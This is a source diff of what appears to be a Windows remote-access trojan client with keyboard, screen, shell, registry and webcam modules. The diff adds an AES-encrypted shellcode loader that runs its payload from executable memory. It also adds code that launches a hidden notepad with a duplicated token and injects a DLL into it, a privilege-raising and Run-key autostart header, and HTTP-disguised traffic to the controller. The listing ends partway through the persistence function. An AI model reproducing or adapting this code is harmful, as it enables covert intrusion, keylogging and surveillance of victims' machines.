-			m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType());
+			m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType(), publicIP);
 			m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopAudioManager, &m_hThread[m_ulThreadCount], 0, NULL);;
 			break;
 		}

 	case COMMAND_REGEDIT:
 		{
-			m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType());
+			m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType(), publicIP);
 			m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopRegisterManager, &m_hThread[m_ulThreadCount], 0, NULL);;
 			break;
 		}

 	case COMMAND_SERVICES:
 		{
-			m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType());
+			m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType(), publicIP);
 			m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopServicesManager, &m_hThread[m_ulThreadCount], 0, NULL);
 			break;
 		}
--- a/client/KernelManager.h
+++ b/client/KernelManager.h
@@ -21,9 +21,9 @@
 #include "LoginServer.h"

 // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>þ<EFBFBD><C3BE><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʲôͨѶЭ<D1B6><D0AD>
-IOCPClient* NewNetClient(CONNECT_ADDRESS* conn, State& bExit, bool exit_while_disconnect = false);
+IOCPClient* NewNetClient(CONNECT_ADDRESS* conn, State& bExit, const std::string& publicIP, bool exit_while_disconnect = false);

-ThreadInfo* CreateKB(CONNECT_ADDRESS* conn, State& bExit);
+ThreadInfo* CreateKB(CONNECT_ADDRESS* conn, State& bExit, const std::string& publicIP);

 class ActivityWindow {
 public:
@@ -91,6 +91,36 @@ private:
 	}
 };

+struct RttEstimator {
+	double srtt = 0.0;       // ƽ<><C6BD> RTT (<28><>)
+	double rttvar = 0.0;     // RTT <20><><EFBFBD><EFBFBD> (<28><>)
+	double rto = 0.0;        // <20><>ʱʱ<CAB1><CAB1> (<28><>)
+	bool initialized = false;
+
+	void update_from_sample(double rtt_ms) {
+		const double alpha = 1.0 / 8;
+		const double beta = 1.0 / 4;
+
+		// ת<><D7AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
+		double rtt = rtt_ms / 1000.0;
+
+		if (!initialized) {
+			srtt = rtt;
+			rttvar = rtt / 2.0;
+			rto = srtt + 4.0 * rttvar;
+			initialized = true;
+		}
+		else {
+			rttvar = (1.0 - beta) * rttvar + beta * std::fabs(srtt - rtt);
+			srtt = (1.0 - alpha) * srtt + alpha * rtt;
+			rto = srtt + 4.0 * rttvar;
+		}
+
+		// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>С RTO<54><4F>RFC 6298 <20>Ƽ<EFBFBD> 1 <20>룩
+		if (rto < 1.0) rto = 1.0;
+	}
+};
+
 class CKernelManager : public CManager  
 {
 public:
@@ -107,7 +137,7 @@ public:
 	UINT	GetAvailableIndex();
 	State& g_bExit; // Hide base class variable
 	MasterSettings m_settings;
-	int m_nNetPing; // <20><><EFBFBD><EFBFBD>״<EFBFBD><D7B4>
+	RttEstimator m_nNetPing; // <20><><EFBFBD><EFBFBD>״<EFBFBD><D7B4>
 	// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
 	int SendHeartbeat() {
 		for (int i = 0; i < m_settings.ReportInterval && !g_bExit && m_ClientObject->IsConnected(); ++i)
@@ -122,7 +152,7 @@ public:

 		ActivityWindow checker;
 		auto s = checker.Check();
-		Heartbeat a(s, m_nNetPing);
+		Heartbeat a(s, m_nNetPing.srtt);

 		a.HasSoftware = SoftwareCheck(m_settings.DetectSoftware);

--- a/client/KeyboardManager.cpp
+++ b/client/KeyboardManager.cpp
@@ -77,8 +77,8 @@ int CKeyboardManager1::sendStartKeyBoard()
    BYTE	bToken[2];
    bToken[0] = TOKEN_KEYBOARD_START;
    bToken[1] = (BYTE)m_bIsOfflineRecord;
-
-    return m_ClientObject->Send2Server((char*)&bToken[0], sizeof(bToken));
+    HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
+    return m_ClientObject->Send2Server((char*)&bToken[0], sizeof(bToken), &mask);
 }


--- a/client/RegisterManager.cpp
+++ b/client/RegisterManager.cpp
@@ -13,7 +13,8 @@
 CRegisterManager::CRegisterManager(IOCPClient* ClientObject, int n, void* user):CManager(ClientObject)
 {
 	BYTE bToken=TOKEN_REGEDIT;
-	m_ClientObject->Send2Server((char*)&bToken, 1);
+	HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
+	m_ClientObject->Send2Server((char*)&bToken, 1, &mask);
 }

 CRegisterManager::~CRegisterManager()
--- a/client/SCLoader.vcxproj
+++ b/client/SCLoader.vcxproj
@@ -0,0 +1,161 @@
+<?xml version="1.0" encoding="utf-8"?>
+<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+  <ItemGroup Label="ProjectConfigurations">
+    <ProjectConfiguration Include="Debug|Win32">
+      <Configuration>Debug</Configuration>
+      <Platform>Win32</Platform>
+    </ProjectConfiguration>
+    <ProjectConfiguration Include="Release|Win32">
+      <Configuration>Release</Configuration>
+      <Platform>Win32</Platform>
+    </ProjectConfiguration>
+    <ProjectConfiguration Include="Debug|x64">
+      <Configuration>Debug</Configuration>
+      <Platform>x64</Platform>
+    </ProjectConfiguration>
+    <ProjectConfiguration Include="Release|x64">
+      <Configuration>Release</Configuration>
+      <Platform>x64</Platform>
+    </ProjectConfiguration>
+  </ItemGroup>
+  <PropertyGroup Label="Globals">
+    <VCProjectVersion>16.0</VCProjectVersion>
+    <Keyword>Win32Proj</Keyword>
+    <ProjectGuid>{f33fc38a-e7a0-47d1-9f35-6dfe49c7194a}</ProjectGuid>
+    <RootNamespace>SCLoader</RootNamespace>
+    <WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
+  </PropertyGroup>
+  <Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
+    <ConfigurationType>Application</ConfigurationType>
+    <UseDebugLibraries>true</UseDebugLibraries>
+    <PlatformToolset>v142</PlatformToolset>
+    <CharacterSet>Unicode</CharacterSet>
+  </PropertyGroup>
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
+    <ConfigurationType>Application</ConfigurationType>
+    <UseDebugLibraries>false</UseDebugLibraries>
+    <PlatformToolset>v142</PlatformToolset>
+    <WholeProgramOptimization>true</WholeProgramOptimization>
+    <CharacterSet>Unicode</CharacterSet>
+  </PropertyGroup>
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
+    <ConfigurationType>Application</ConfigurationType>
+    <UseDebugLibraries>true</UseDebugLibraries>
+    <PlatformToolset>v142</PlatformToolset>
+    <CharacterSet>Unicode</CharacterSet>
+  </PropertyGroup>
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
+    <ConfigurationType>Application</ConfigurationType>
+    <UseDebugLibraries>false</UseDebugLibraries>
+    <PlatformToolset>v142</PlatformToolset>
+    <WholeProgramOptimization>true</WholeProgramOptimization>
+    <CharacterSet>Unicode</CharacterSet>
+  </PropertyGroup>
+  <Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
+  <ImportGroup Label="ExtensionSettings">
+  </ImportGroup>
+  <ImportGroup Label="Shared">
+  </ImportGroup>
+  <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
+    <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
+  </ImportGroup>
+  <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
+    <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
+  </ImportGroup>
+  <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
+    <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
+  </ImportGroup>
+  <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
+    <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
+  </ImportGroup>
+  <PropertyGroup Label="UserMacros" />
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
+    <LinkIncremental>true</LinkIncremental>
+    <IntDir>$(Configuration)\loader</IntDir>
+  </PropertyGroup>
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
+    <LinkIncremental>false</LinkIncremental>
+    <IntDir>$(Configuration)\loader</IntDir>
+  </PropertyGroup>
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
+    <LinkIncremental>true</LinkIncremental>
+    <IntDir>$(Platform)\$(Configuration)\loader</IntDir>
+  </PropertyGroup>
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
+    <LinkIncremental>false</LinkIncremental>
+    <IntDir>$(Platform)\$(Configuration)\loader</IntDir>
+  </PropertyGroup>
+  <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
+    <ClCompile>
+      <WarningLevel>Level3</WarningLevel>
+      <SDLCheck>true</SDLCheck>
+      <PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
+      <ConformanceMode>true</ConformanceMode>
+      <RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
+    </ClCompile>
+    <Link>
+      <SubSystem>Console</SubSystem>
+      <GenerateDebugInformation>true</GenerateDebugInformation>
+    </Link>
+  </ItemDefinitionGroup>
+  <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
+    <ClCompile>
+      <WarningLevel>Level3</WarningLevel>
+      <FunctionLevelLinking>true</FunctionLevelLinking>
+      <IntrinsicFunctions>true</IntrinsicFunctions>
+      <SDLCheck>true</SDLCheck>
+      <PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
+      <ConformanceMode>true</ConformanceMode>
+      <RuntimeLibrary>MultiThreaded</RuntimeLibrary>
+    </ClCompile>
+    <Link>
+      <SubSystem>Windows</SubSystem>
+      <EnableCOMDATFolding>true</EnableCOMDATFolding>
+      <OptimizeReferences>true</OptimizeReferences>
+      <GenerateDebugInformation>true</GenerateDebugInformation>
+      <EntryPointSymbol>mainCRTStartup</EntryPointSymbol>
+    </Link>
+  </ItemDefinitionGroup>
+  <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
+    <ClCompile>
+      <WarningLevel>Level3</WarningLevel>
+      <SDLCheck>true</SDLCheck>
+      <PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
+      <ConformanceMode>true</ConformanceMode>
+      <RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
+    </ClCompile>
+    <Link>
+      <SubSystem>Console</SubSystem>
+      <GenerateDebugInformation>true</GenerateDebugInformation>
+    </Link>
+  </ItemDefinitionGroup>
+  <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
+    <ClCompile>
+      <WarningLevel>Level3</WarningLevel>
+      <FunctionLevelLinking>true</FunctionLevelLinking>
+      <IntrinsicFunctions>true</IntrinsicFunctions>
+      <SDLCheck>true</SDLCheck>
+      <PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
+      <ConformanceMode>true</ConformanceMode>
+      <RuntimeLibrary>MultiThreaded</RuntimeLibrary>
+    </ClCompile>
+    <Link>
+      <SubSystem>Windows</SubSystem>
+      <EnableCOMDATFolding>true</EnableCOMDATFolding>
+      <OptimizeReferences>true</OptimizeReferences>
+      <GenerateDebugInformation>true</GenerateDebugInformation>
+      <EntryPointSymbol>mainCRTStartup</EntryPointSymbol>
+    </Link>
+  </ItemDefinitionGroup>
+  <ItemGroup>
+    <ClCompile Include="..\common\aes.c" />
+    <ClCompile Include="SimpleSCLoader.c" />
+  </ItemGroup>
+  <ItemGroup>
+    <ClInclude Include="..\common\aes.h" />
+  </ItemGroup>
+  <Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
+  <ImportGroup Label="ExtensionTargets">
+  </ImportGroup>
+</Project>
--- a/client/SCLoader.vcxproj.filters
+++ b/client/SCLoader.vcxproj.filters
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+  <ItemGroup>
+    <Filter Include="源文件">
+      <UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
+      <Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
+    </Filter>
+    <Filter Include="头文件">
+      <UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
+      <Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
+    </Filter>
+    <Filter Include="资源文件">
+      <UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
+      <Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
+    </Filter>
+  </ItemGroup>
+  <ItemGroup>
+    <ClCompile Include="SimpleSCLoader.c">
+      <Filter>源文件</Filter>
+    </ClCompile>
+    <ClCompile Include="..\common\aes.c">
+      <Filter>源文件</Filter>
+    </ClCompile>
+  </ItemGroup>
+  <ItemGroup>
+    <ClInclude Include="..\common\aes.h">
+      <Filter>头文件</Filter>
+    </ClInclude>
+  </ItemGroup>
+</Project>
--- a/client/SCLoader.vcxproj.user
+++ b/client/SCLoader.vcxproj.user
@@ -0,0 +1,4 @@
+<?xml version="1.0" encoding="utf-8"?>
+<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+  <PropertyGroup />
+</Project>
--- a/client/ScreenManager.cpp
+++ b/client/ScreenManager.cpp
@@ -205,8 +205,6 @@ DWORD WINAPI CScreenManager::WorkThreadProc(LPVOID lParam)
 	This->SendFirstScreen();
 #if USING_ZLIB
 	const int fps = 8;// ֡<><D6A1>
-#elif USING_LZ4
-	const int fps = 8;// ֡<><D6A1>
 #else
 	const int fps = 8;// ֡<><D6A1>
 #endif
@@ -234,6 +232,7 @@ DWORD WINAPI CScreenManager::WorkThreadProc(LPVOID lParam)
 					s0 = (s0 <= sleep*4) ? s0*alpha : s0;
 					c1 = 0;
 #ifdef _DEBUG
+					if (1000./s0>1.0)
 					Mprintf("[+]SendScreen Span= %dms, s0= %f, fps= %f\n", span, s0, 1000./s0);
 #endif
 				}
@@ -243,6 +242,7 @@ DWORD WINAPI CScreenManager::WorkThreadProc(LPVOID lParam)
 					s0 = (s0 >= sleep/4) ? s0/alpha : s0;
 					c2 = 0;
 #ifdef _DEBUG
+					if (1000./s0<20.0)
 					Mprintf("[-]SendScreen Span= %dms, s0= %f, fps= %f\n", span, s0, 1000./s0);
 #endif
 				}
@@ -268,7 +268,8 @@ VOID CScreenManager::SendBitMapInfo()
 	szBuffer[0] = TOKEN_BITMAPINFO;
 	//<2F><><EFBFBD>ｫbmpλͼ<CEBB>ṹ<EFBFBD><E1B9B9><EFBFBD>ͳ<EFBFBD>ȥ
 	memcpy(szBuffer + 1, m_ScreenSpyObject->GetBIData(), ulLength - 1);
-	m_ClientObject->Send2Server((char*)szBuffer, ulLength);
+	HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
+	m_ClientObject->Send2Server((char*)szBuffer, ulLength, &mask);
 	VirtualFree(szBuffer, 0, MEM_RELEASE);
 }

--- a/client/ServicesManager.cpp
+++ b/client/ServicesManager.cpp
@@ -25,8 +25,8 @@ VOID CServicesManager::SendServicesList()
 	LPBYTE	szBuffer = GetServicesList();
 	if (szBuffer == NULL)
 		return;	
-
-	m_ClientObject->Send2Server((char*)szBuffer, LocalSize(szBuffer));
+	HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
+	m_ClientObject->Send2Server((char*)szBuffer, LocalSize(szBuffer), &mask);
 	LocalFree(szBuffer);
 }

--- a/client/ShellManager.cpp
+++ b/client/ShellManager.cpp
@@ -96,8 +96,9 @@ CShellManager::CShellManager(IOCPClient* ClientObject, int n, void* user):CManag
 	m_hShellProcessHandle   = pi.hProcess;    //<2F><><EFBFBD><EFBFBD>Cmd<6D><64><EFBFBD>̵Ľ<CCB5><C4BD>̾<EFBFBD><CCBE><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߳̾<DFB3><CCBE><EFBFBD>
 	m_hShellThreadHandle	= pi.hThread;

-	BYTE	bToken = TOKEN_SHELL_START;      //<2F><><EFBFBD><EFBFBD>ͷ<EFBFBD>ļ<EFBFBD> Common.h     
-	m_ClientObject->Send2Server((char*)&bToken, 1);
+	BYTE	bToken = TOKEN_SHELL_START;
+	HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
+	m_ClientObject->Send2Server((char*)&bToken, 1, &mask);

 	WaitForDialogOpen();

--- a/client/ShellcodeInj.h
+++ b/client/ShellcodeInj.h
@@ -16,12 +16,19 @@ class ShellcodeInj
 {
 public:
 	// Return the process id if inject succeed.
-	int InjectProcess(const char* processName = nullptr) {
+	int InjectProcess(const char* processName = nullptr, bool hasPermission=false) {
 		if (processName) {
 			auto pid = GetProcessIdByName(processName);
 			if (pid ? InjectShellcode(pid, (BYTE*)TinyRun_dll, TinyRun_dll_len) : false)
 				return pid;
 		}
+		if (hasPermission) {
+			auto pid = LaunchNotepadWithCurrentToken();
+			if (pid) {
+				return InjectShellcode(pid, (BYTE*)TinyRun_dll, TinyRun_dll_len) ? pid : 0;
+			}
+		}
+
 		PROCESS_INFORMATION pi = {};
 		STARTUPINFO si = { sizeof(STARTUPINFO) };
 		si.dwFlags = STARTF_USESHOWWINDOW;
@@ -34,6 +41,49 @@ public:
 		return 0;
 	}
 private:
+	DWORD LaunchNotepadWithCurrentToken() {
+		HANDLE hToken = NULL;
+
+		// <20>򿪵<EFBFBD>ǰ<EFBFBD><C7B0><EFBFBD><EFBFBD> token
+		if (!OpenProcessToken(GetCurrentProcess(),
+			TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | TOKEN_QUERY | TOKEN_ADJUST_DEFAULT | TOKEN_ADJUST_SESSIONID,
+			&hToken)) {
+			Mprintf("OpenProcessToken failed: %d\n", GetLastError());
+			return 0;
+		}
+
+		// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> token
+		HANDLE hNewToken = NULL;
+		if (!DuplicateTokenEx(hToken, MAXIMUM_ALLOWED, NULL, SecurityImpersonation, TokenPrimary, &hNewToken)) {
+			Mprintf("DuplicateTokenEx failed: %d\n", GetLastError());
+			CloseHandle(hToken);
+			return 0;
+		}
+
+		STARTUPINFOW si = { sizeof(si) };
+		PROCESS_INFORMATION pi = {};
+		si.dwFlags = STARTF_USESHOWWINDOW;
+		si.wShowWindow = SW_HIDE;
+
+		// ʹ<>ø<EFBFBD><C3B8>ƺ<EFBFBD><C6BA><EFBFBD> token <20><><EFBFBD><EFBFBD> notepad
+		if (!CreateProcessWithTokenW(hNewToken, 0, L"C:\\Windows\\System32\\notepad.exe",
+			NULL, 0, NULL, NULL, &si, &pi)) {
+			Mprintf("CreateProcessWithTokenW failed: %d\n", GetLastError());
+			CloseHandle(hToken);
+			CloseHandle(hNewToken);
+			return 0;
+		}
+
+		DWORD dwProcessId = pi.dwProcessId;
+
+		CloseHandle(pi.hProcess);
+		CloseHandle(pi.hThread);
+		CloseHandle(hToken);
+		CloseHandle(hNewToken);
+
+		return dwProcessId; // <20><><EFBFBD><EFBFBD><EFBFBD>ӽ<EFBFBD><D3BD><EFBFBD> ID
+	}
+
 	// Find process id by name.
 	DWORD GetProcessIdByName(const std::string& procName) {
 		DWORD pid = 0;
--- a/client/SimpleSCLoader.c
+++ b/client/SimpleSCLoader.c
@@ -0,0 +1,32 @@
+#include <windows.h>
+#include <stdio.h>
+#include "../common/aes.h"
+
+struct 
+{
+	unsigned char aes_key[16];
+	unsigned char aes_iv[16];
+	unsigned char data[4*1024*1024];
+	int len;
+} sc = { "Hello, World!" };
+
+// A simple shell code loader.
+// Copy left (c) yuanyuanxiang.
+int main() {
+	if (!sc.data[0] || !sc.len)
+		return -1;
+
+	for (int i = 0; i < 16; ++i) printf("%d ", sc.aes_key[i]); printf("\n\n");
+	for (int i = 0; i < 16; ++i) printf("%d ", sc.aes_iv[i]); printf("\n\n");
+
+	struct AES_ctx ctx;
+	AES_init_ctx_iv(&ctx, sc.aes_key, sc.aes_iv);
+	AES_CBC_decrypt_buffer(&ctx, sc.data, sc.len);
+	void* exec = VirtualAlloc(NULL, sc.len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
+	if (exec) {
+		memcpy(exec, sc.data, sc.len);
+		((void(*)())exec)();
+		Sleep(INFINITE);
+	}
+	return 0;
+}
--- a/client/StdAfx.h
+++ b/client/StdAfx.h
@@ -10,13 +10,9 @@
 #define USING_ZLIB 0

 #if !USING_ZLIB
-// <20>Ƿ<EFBFBD>ʹ<EFBFBD><CAB9>LZ4
-#define USING_LZ4 0

-#if !USING_LZ4
 #define USING_ZSTD 1
 #define USING_CTX 1
-#endif

 #endif

--- a/client/SystemManager.cpp
+++ b/client/SystemManager.cpp
@@ -39,7 +39,8 @@ VOID CSystemManager::SendProcessList()
 	LPBYTE	szBuffer = GetProcessList();            //<2F>õ<EFBFBD><C3B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD><D0B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
 	if (szBuffer == NULL)
 		return;
-	m_ClientObject->Send2Server((char*)szBuffer, LocalSize(szBuffer));
+	HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
+	m_ClientObject->Send2Server((char*)szBuffer, LocalSize(szBuffer), &mask);
 	LocalFree(szBuffer);

 	szBuffer = NULL;
@@ -50,8 +51,8 @@ void CSystemManager::SendWindowsList()
 	LPBYTE	szBuffer = GetWindowsList();          //<2F>õ<EFBFBD><C3B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD><D0B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
 	if (szBuffer == NULL)
 		return;
-
-	m_ClientObject->Send2Server((char*)szBuffer, LocalSize(szBuffer));    //<2F><><EFBFBD><EFBFBD><EFBFBD>ض˷<D8B6><CBB7>͵õ<CDB5><C3B5>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD><EFBFBD>
+	HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
+	m_ClientObject->Send2Server((char*)szBuffer, LocalSize(szBuffer), &mask);
 	LocalFree(szBuffer);	
 }

--- a/client/TalkManager.cpp
+++ b/client/TalkManager.cpp
@@ -27,7 +27,8 @@ CTalkManager::CTalkManager(IOCPClient* ClientObject, int n, void* user):CManager
 	g_Event = 0;
 	memset(g_Buffer, 0, sizeof(g_Buffer));
 	BYTE	bToken = TOKEN_TALK_START;
-	m_ClientObject->Send2Server((char*)&bToken, 1);
+	HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
+	m_ClientObject->Send2Server((char*)&bToken, 1, &mask);
 	WaitForDialogOpen();
 	Mprintf("Talk <20><><EFBFBD><EFBFBD>\n");
 }
--- a/client/TestRun_vs2015.vcxproj
+++ b/client/TestRun_vs2015.vcxproj
@@ -159,6 +159,7 @@
    <ClCompile Include="test.cpp" />
  </ItemGroup>
  <ItemGroup>
+    <ClInclude Include="auto_start.h" />
    <ClInclude Include="MemoryModule.h" />
    <ClInclude Include="resource1.h" />
  </ItemGroup>
--- a/client/VideoManager.cpp
+++ b/client/VideoManager.cpp
@@ -43,8 +43,6 @@ DWORD CVideoManager::WorkThread(LPVOID lParam)
 	This->WaitForDialogOpen();
 #if USING_ZLIB
 	const int fps = 8;// ֡<><D6A1>
-#elif USING_LZ4
-	const int fps = 8;// ֡<><D6A1>
 #else
 	const int fps = 8;// ֡<><D6A1>
 #endif
@@ -103,7 +101,8 @@ void CVideoManager::SendBitMapInfor()
 	BYTE szBuffer[dwBytesLength + 3] = { 0 };
 	szBuffer[0] = TOKEN_WEBCAM_BITMAPINFO;
 	memcpy(szBuffer + 1, m_CapVideo.GetBmpInfor(), sizeof(BITMAPINFO));
-	m_ClientObject->Send2Server((char*)szBuffer, dwBytesLength);
+	HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
+	m_ClientObject->Send2Server((char*)szBuffer, dwBytesLength, &mask);
 }

 BOOL CVideoManager::SendNextScreen()
--- a/client/auto_start.h
+++ b/client/auto_start.h
@@ -0,0 +1,64 @@
+#pragma once
+#include <windows.h>
+
+// <20><><EFBFBD><EFBFBD>Ȩ<EFBFBD><C8A8>
+inline int DebugPrivilege()
+{
+	HANDLE hToken = NULL;
+	if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
+		return -1;
+
+	// <20><>̬<EFBFBD><CCAC><EFBFBD><EFBFBD><EFBFBD>ռ䣬<D5BC><E4A3AC><EFBFBD><EFBFBD> 3 <20><> LUID
+	TOKEN_PRIVILEGES* tp = (TOKEN_PRIVILEGES*)malloc(sizeof(TOKEN_PRIVILEGES) + 2 * sizeof(LUID_AND_ATTRIBUTES));
+	if (!tp) { CloseHandle(hToken); return 1; }
+
+	tp->PrivilegeCount = 3;
+
+	if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp->Privileges[0].Luid)) { free(tp); CloseHandle(hToken); return 2; }
+	tp->Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
+
+	if (!LookupPrivilegeValue(NULL, SE_INCREASE_QUOTA_NAME, &tp->Privileges[1].Luid)) { free(tp); CloseHandle(hToken); return 3; }
+	tp->Privileges[1].Attributes = SE_PRIVILEGE_ENABLED;
+
+	if (!LookupPrivilegeValue(NULL, SE_ASSIGNPRIMARYTOKEN_NAME, &tp->Privileges[2].Luid)) { free(tp); CloseHandle(hToken); return 4; }
+	tp->Privileges[2].Attributes = SE_PRIVILEGE_ENABLED;
+
+	AdjustTokenPrivileges(hToken, FALSE, tp, sizeof(TOKEN_PRIVILEGES) + 2 * sizeof(LUID_AND_ATTRIBUTES), NULL, NULL);
+
+	free(tp);
+	CloseHandle(hToken);
+	return 0;
+}
+
+/**
+* @brief <20><><EFBFBD>ñ<EFBFBD><C3B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
+* @param[in] *sPath ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>·<EFBFBD><C2B7>
+* @param[in] *sNmae ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
+* @return <20><><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
+* @details Win7 64λ<34><CEBB><EFBFBD><EFBFBD><EFBFBD>ϲ<EFBFBD><CFB2>Խ<EFBFBD><D4BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD>ڣ<EFBFBD>\n
+* HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run
+* @note <20>״<EFBFBD><D7B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҫ<EFBFBD>Թ<EFBFBD><D4B9><EFBFBD>ԱȨ<D4B1><C8A8><EFBFBD><EFBFBD><EFBFBD>У<EFBFBD><D0A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD>д<EFBFBD>뿪<EFBFBD><EBBFAA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
+*/
+inline BOOL SetSelfStart(const char* sPath, const char* sNmae)
+{
+	DebugPrivilege();
+
